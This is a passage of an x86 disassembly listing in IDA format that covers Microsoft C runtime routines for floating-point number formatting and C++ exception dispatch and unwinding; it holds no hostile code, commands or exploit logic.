; sub_41C846+1Dj
jmp sub_41C808
sub_41C846 endp
; =============== S U B R O U T I N E =======================================
sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp
; DATA XREF: sub_417D8B+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_419101
cmp eax, 65h
pop ecx
jz short loc_41C8AF
loc_41C883: ; CODE XREF: sub_41C86F+3Ej
inc esi
cmp dword_433E7C, 1
jle short loc_41C89C
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_41C8AB
; ---------------------------------------------------------------------------
loc_41C89C: ; CODE XREF: sub_41C86F+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_433C70
mov al, [ecx+eax*2]
and eax, 4
loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj
test eax, eax
jnz short loc_41C883
loc_41C8AF: ; CODE XREF: sub_41C86F+12j
mov cl, byte_433E80
mov al, [esi]
mov [esi], cl
inc esi
loc_41C8BA: ; CODE XREF: sub_41C86F+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41C8BA
pop esi
retn
sub_41C86F endp
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p
; DATA XREF: sub_417D8B+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_433E80
mov cl, [eax]
test cl, cl
jz short loc_41C8E5
loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj
cmp cl, dl
jz short loc_41C8E5
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_41C8D9
loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej
; sub_41C8C9+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41C916
loc_41C8EC: ; CODE XREF: sub_41C8C9+34j
mov cl, [eax]
test cl, cl
jz short loc_41C8FF
cmp cl, 65h
jz short loc_41C8FF
cmp cl, 45h
jz short loc_41C8FF
inc eax
jmp short loc_41C8EC
; ---------------------------------------------------------------------------
loc_41C8FF: ; CODE XREF: sub_41C8C9+27j
; sub_41C8C9+2Cj ...
mov ecx, eax
loc_41C901: ; CODE XREF: sub_41C8C9+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_41C901
cmp [eax], dl
jnz short loc_41C90C
dec eax
loc_41C90C: ; CODE XREF: sub_41C8C9+40j
; sub_41C8C9+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_41C90C
locret_41C916: ; CODE XREF: sub_41C8C9+21j
retn
sub_41C8C9 endp
; =============== S U B R O U T I N E =======================================
sub_41C917 proc near ; DATA XREF: sub_417D8B+28o
; ___:off_435FE0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_424818
fnstsw ax
sahf
jb short loc_41C92C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41C92C: ; CODE XREF: sub_41C917+Fj
xor eax, eax
retn
sub_41C917 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C92F proc near ; CODE XREF: sub_41D797+430p
; DATA XREF: sub_417D8B+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41C958
lea eax, [ebp+var_8]
push eax
call sub_42067A
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41C958: ; CODE XREF: sub_41C92F+Cj
lea eax, [ebp+arg_8]
push eax
call sub_4206A7
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_41C92F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p
; sub_41CC34+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4CDA24, 0
push ebx
push esi
jz short loc_41C9A2
mov ebx, [ebp+arg_8]
mov eax, dword_4CDA20
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41CC85
pop ecx
pop ecx
jmp short loc_41C9DA
; ---------------------------------------------------------------------------
loc_41C9A2: ; CODE XREF: sub_41C96D+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_42074B
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_4206D4
add esp, 14h
loc_41C9DA: ; CODE XREF: sub_41C96D+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41C9E6
mov byte ptr [eax], 2Dh
inc eax
loc_41C9E6: ; CODE XREF: sub_41C96D+73j
test ebx, ebx
jle short loc_41C9FE
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_433E80
mov eax, edi
pop edi
mov [eax], cl
loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4CDA24, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_4179C0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41CA25
mov byte ptr [ecx], 45h
loc_41CA25: ; CODE XREF: sub_41C96D+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41CA6A
mov ebx, [esi+4]
dec ebx
jns short loc_41CA39
neg ebx
mov byte ptr [ecx], 2Dh
loc_41CA39: ; CODE XREF: sub_41C96D+C5j
inc ecx
cmp ebx, 64h
jl short loc_41CA50
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41CA50: ; CODE XREF: sub_41C96D+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41CA67
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41CA67: ; CODE XREF: sub_41C96D+E7j
add [ecx+1], bl
loc_41CA6A: ; CODE XREF: sub_41C96D+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41C96D endp
; =============== S U B R O U T I N E =======================================
sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p
; sub_41CC34+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4CDA24, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41CAAC
mov eax, dword_4CDA28
mov ebx, [esp+10h+arg_8]
mov esi, dword_4CDA20
cmp eax, ebx
jnz short loc_41CADC
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41CADC
; ---------------------------------------------------------------------------
loc_41CAAC: ; CODE XREF: sub_41CA71+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_42074B
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_4206D4
add esp, 14h
loc_41CADC: ; CODE XREF: sub_41CA71+22j
; sub_41CA71+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41CAEA
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41CAEA: ; CODE XREF: sub_41CA71+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41CB01
push 1
push edi
call sub_41CC85
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41CB03
; ---------------------------------------------------------------------------
loc_41CB01: ; CODE XREF: sub_41CA71+7Ej
add edi, eax
loc_41CB03: ; CODE XREF: sub_41CA71+8Ej
test ebx, ebx
jle short loc_41CB48
push 1
push edi
call sub_41CC85
mov al, byte_433E80
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41CB48
cmp byte_4CDA24, 0
jz short loc_41CB2D
neg esi
jmp short loc_41CB33
; ---------------------------------------------------------------------------
loc_41CB2D: ; CODE XREF: sub_41CA71+B6j
neg esi
cmp ebx, esi
jl short loc_41CB35
loc_41CB33: ; CODE XREF: sub_41CA71+BAj
mov ebx, esi
loc_41CB35: ; CODE XREF: sub_41CA71+C0j
push ebx
push edi
call sub_41CC85
push ebx
push 30h
push edi
call sub_417330
add esp, 14h
loc_41CB48: ; CODE XREF: sub_41CA71+94j
; sub_41CA71+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41CA71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB4F proc near ; CODE XREF: sub_41CC34+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_42074B
mov dword_4CDA20, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4CDA28, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_4206D4
mov eax, dword_4CDA20
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4CDA28, ecx
setl cl
mov byte_4CDA2C, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4CDA28, eax
jl short loc_41CBD5
cmp eax, ebx
jge short loc_41CBD5
test cl, cl
jz short loc_41CBC6
loc_41CBBC: ; CODE XREF: sub_41CB4F+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41CBBC
and [esi-2], al
loc_41CBC6: ; CODE XREF: sub_41CB4F+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41CC11
add esp, 0Ch
jmp short loc_41CBE5
; ---------------------------------------------------------------------------
loc_41CBD5: ; CODE XREF: sub_41CB4F+63j
; sub_41CB4F+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41CBEA
add esp, 10h
loc_41CBE5: ; CODE XREF: sub_41CB4F+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CB4F endp
; =============== S U B R O U T I N E =======================================
sub_41CBEA proc near ; CODE XREF: sub_41CB4F+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4CDA24, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C96D
and byte_4CDA24, 0
add esp, 10h
retn
sub_41CBEA endp
; =============== S U B R O U T I N E =======================================
sub_41CC11 proc near ; CODE XREF: sub_41CB4F+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4CDA24, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41CA71
and byte_4CDA24, 0
add esp, 0Ch
retn
sub_41CC11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC34 proc near ; CODE XREF: sub_419E38+3AAp
; DATA XREF: sub_417D8Bo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41CC6F
cmp [ebp+arg_8], 45h
jz short loc_41CC6F
cmp [ebp+arg_8], 66h
jnz short loc_41CC5C
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CA71
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41CC5C: ; CODE XREF: sub_41CC34+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CB4F
jmp short loc_41CC80
; ---------------------------------------------------------------------------
loc_41CC6F: ; CODE XREF: sub_41CC34+7j
; sub_41CC34+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C96D
loc_41CC80: ; CODE XREF: sub_41CC34+39j
add esp, 10h
pop ebp
retn
sub_41CC34 endp
; =============== S U B R O U T I N E =======================================
sub_41CC85 proc near ; CODE XREF: sub_41C96D+2Cp
; sub_41CA71+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41CCA8
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_417AB0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_4182C0
add esp, 10h
pop esi
loc_41CCA8: ; CODE XREF: sub_41CC85+7j
pop edi
retn
sub_41CC85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCAA proc near ; CODE XREF: ___:00417F6Cp
; sub_417FD5+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41CCC0
call sub_41D552
loc_41CCC0: ; CODE XREF: sub_41CCAA+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41CCE8
cmp dword ptr [esi+4], 0
jz short loc_41CD3E
cmp [ebp+arg_14], 0
jnz short loc_41CD3E
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41CFF1
add esp, 10h
jmp short loc_41CD3E
; ---------------------------------------------------------------------------
loc_41CCE8: ; CODE XREF: sub_41CCAA+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41CD3E
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41CD22
cmp [eax+14h], edi
jbe short loc_41CD22
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41CD22
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41CD41
; ---------------------------------------------------------------------------
loc_41CD22: ; CODE XREF: sub_41CCAA+4Aj
; sub_41CCAA+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41CD45
add esp, 20h
loc_41CD3E: ; CODE XREF: sub_41CCAA+23j
; sub_41CCAA+29j ...
push 1
pop eax
loc_41CD41: ; CODE XREF: sub_41CCAA+76j
pop edi
pop esi
pop ebp
retn
sub_41CCAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD45 proc near ; CODE XREF: sub_41CCAA+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41CD65
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41CD6A
loc_41CD65: ; CODE XREF: sub_41CD45+16j
call sub_41D552
loc_41CD6A: ; CODE XREF: sub_41CD45+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41CEC1
cmp dword ptr [esi+10h], 3
jnz short loc_41CDDE
cmp [esi+14h], edi
jnz short loc_41CDDE
cmp dword ptr [esi+1Ch], 0
jnz short loc_41CDDE
mov esi, dword_4CDA30
test esi, esi
jz loc_41CEBC
mov eax, dword_4CDA34
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_4208D2
pop ecx
test eax, eax
pop ecx
jnz short loc_41CDC0
call sub_41D552
loc_41CDC0: ; CODE XREF: sub_41CD45+74j
cmp [esi], ebx
jnz loc_41CEC1
cmp dword ptr [esi+10h], 3
jnz short loc_41CDDE
cmp [esi+14h], edi
jnz short loc_41CDDE
cmp dword ptr [esi+1Ch], 0
jnz short loc_41CDDE
call sub_41D552
loc_41CDDE: ; CODE XREF: sub_41CD45+41j
; sub_41CD45+46j ...
cmp [esi], ebx
jnz loc_41CEC1
cmp dword ptr [esi+10h], 3
jnz loc_41CEC1
cmp [esi+14h], edi
jnz loc_41CEC1
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_418123
add esp, 14h
mov ebx, eax
loc_41CE15: ; CODE XREF: sub_41CD45+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41CEAC
cmp [ebx], edi
jg short loc_41CEA1
cmp edi, [ebx+4]
jg short loc_41CEA1
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41CE9E
loc_41CE3A: ; CODE XREF: sub_41CD45+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41CE6B
loc_41CE4C: ; CODE XREF: sub_41CD45+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41CF94
add esp, 0Ch
test eax, eax
jnz short loc_41CE7A
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41CE4C
loc_41CE6B: ; CODE XREF: sub_41CD45+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41CE3A
jmp short loc_41CE9E
; ---------------------------------------------------------------------------
loc_41CE7A: ; CODE XREF: sub_41CD45+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41D0A5
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_41CE9E: ; CODE XREF: sub_41CD45+F3j
; sub_41CD45+133j
mov edi, [ebp+var_10]
loc_41CEA1: ; CODE XREF: sub_41CD45+DEj
; sub_41CD45+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41CE15
; ---------------------------------------------------------------------------
loc_41CEAC: ; CODE XREF: sub_41CD45+D6j
cmp [ebp+arg_14], 0
jz short loc_41CEBC
push 1
push esi
call sub_41D41A
pop ecx
pop ecx
loc_41CEBC: ; CODE XREF: sub_41CD45+56j
; sub_41CD45+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41CEC1: ; CODE XREF: sub_41CD45+37j
; sub_41CD45+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41CEE7
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41CEEC
add esp, 20h
jmp short loc_41CEBC
; ---------------------------------------------------------------------------
loc_41CEE7: ; CODE XREF: sub_41CD45+180j
jmp sub_41D4FC
sub_41CD45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEEC proc near ; CODE XREF: sub_41CD45+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4CDA38, 0
push esi
push edi
jz short loc_41CF1D
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_417FFA
add esp, 1Ch
test eax, eax
jnz short loc_41CF90
loc_41CF1D: ; CODE XREF: sub_41CEEC+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_418123
add esp, 14h
mov esi, eax
loc_41CF39: ; CODE XREF: sub_41CEEC+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41CF90
cmp edi, [esi]
jl short loc_41CF88
cmp edi, [esi+4]
jg short loc_41CF88
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41CF62
cmp byte ptr [ecx+8], 0
jnz short loc_41CF88
loc_41CF62: ; CODE XREF: sub_41CEEC+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D0A5
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_41CF88: ; CODE XREF: sub_41CEEC+57j
; sub_41CEEC+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41CF39
; ---------------------------------------------------------------------------
loc_41CF90: ; CODE XREF: sub_41CEEC+2Fj
; sub_41CEEC+53j
pop edi
pop esi
leave
retn
sub_41CEEC endp
; =============== S U B R O U T I N E =======================================
sub_41CF94 proc near ; CODE XREF: sub_41CD45+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41CFEB
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41CFEB
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41CFC5
add ecx, 8
push ecx
push edx
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41CFE7
loc_41CFC5: ; CODE XREF: sub_41CF94+1Fj
test byte ptr [esi], 2
jz short loc_41CFCF
test byte ptr [edi], 8
jz short loc_41CFE7
loc_41CFCF: ; CODE XREF: sub_41CF94+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41CFDE
test byte ptr [edi], 1
jz short loc_41CFE7
loc_41CFDE: ; CODE XREF: sub_41CF94+43j
test al, 2
jz short loc_41CFEB
test byte ptr [edi], 2
jnz short loc_41CFEB
loc_41CFE7: ; CODE XREF: sub_41CF94+2Fj
; sub_41CF94+39j ...
xor eax, eax
jmp short loc_41CFEE
; ---------------------------------------------------------------------------
loc_41CFEB: ; CODE XREF: sub_41CF94+Bj
; sub_41CF94+14j ...
push 1
pop eax
loc_41CFEE: ; CODE XREF: sub_41CF94+55j
pop edi
pop esi
retn
sub_41CF94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CFF1 proc near ; CODE XREF: sub_41CCAA+34p
; ___:0041D0E7p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424860
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41D023: ; CODE XREF: sub_41CFF1+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41D07D
cmp esi, 0FFFFFFFFh
jle short loc_41D032
cmp esi, [edi+4]
jl short loc_41D037
loc_41D032: ; CODE XREF: sub_41CFF1+3Aj
call sub_41D552
loc_41D037: ; CODE XREF: sub_41CFF1+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41D052
push 103h
push ebx
push eax
call sub_41D4B0
loc_41D052: ; CODE XREF: sub_41CFF1+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41D072
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41D08F
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41D072: ; CODE XREF: sub_41CFF1+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41D023
; ---------------------------------------------------------------------------
loc_41D07D: ; CODE XREF: sub_41CFF1+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41CFF1 endp
; =============== S U B R O U T I N E =======================================
sub_41D08F proc near ; CODE XREF: sub_41CFF1+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41D0A0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41D0A0: ; CODE XREF: sub_41D08F+Cj
jmp sub_41D4FC
sub_41D08F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41D0A5 proc near ; CODE XREF: sub_41CD45+151p
; sub_41CEEC+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41D0C7
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41D256
add esp, 10h
loc_41D0C7: ; CODE XREF: sub_41D0A5+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41D0D3
push edi
jmp short loc_41D0D6
; ---------------------------------------------------------------------------
loc_41D0D3: ; CODE XREF: sub_41D0A5+29j
push [ebp+arg_24]
loc_41D0D6: ; CODE XREF: sub_41D0A5+2Cj
call sub_417EFC
sub_41D0A5 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_41CFF1
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_41D120
add esp, 2Ch
test eax, eax
jz short loc_41D11B
push edi
push eax
call sub_417EBA
loc_41D11B: ; CODE XREF: ___:0041D112j
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D120 proc near ; CODE XREF: ___:0041D108p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424870
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
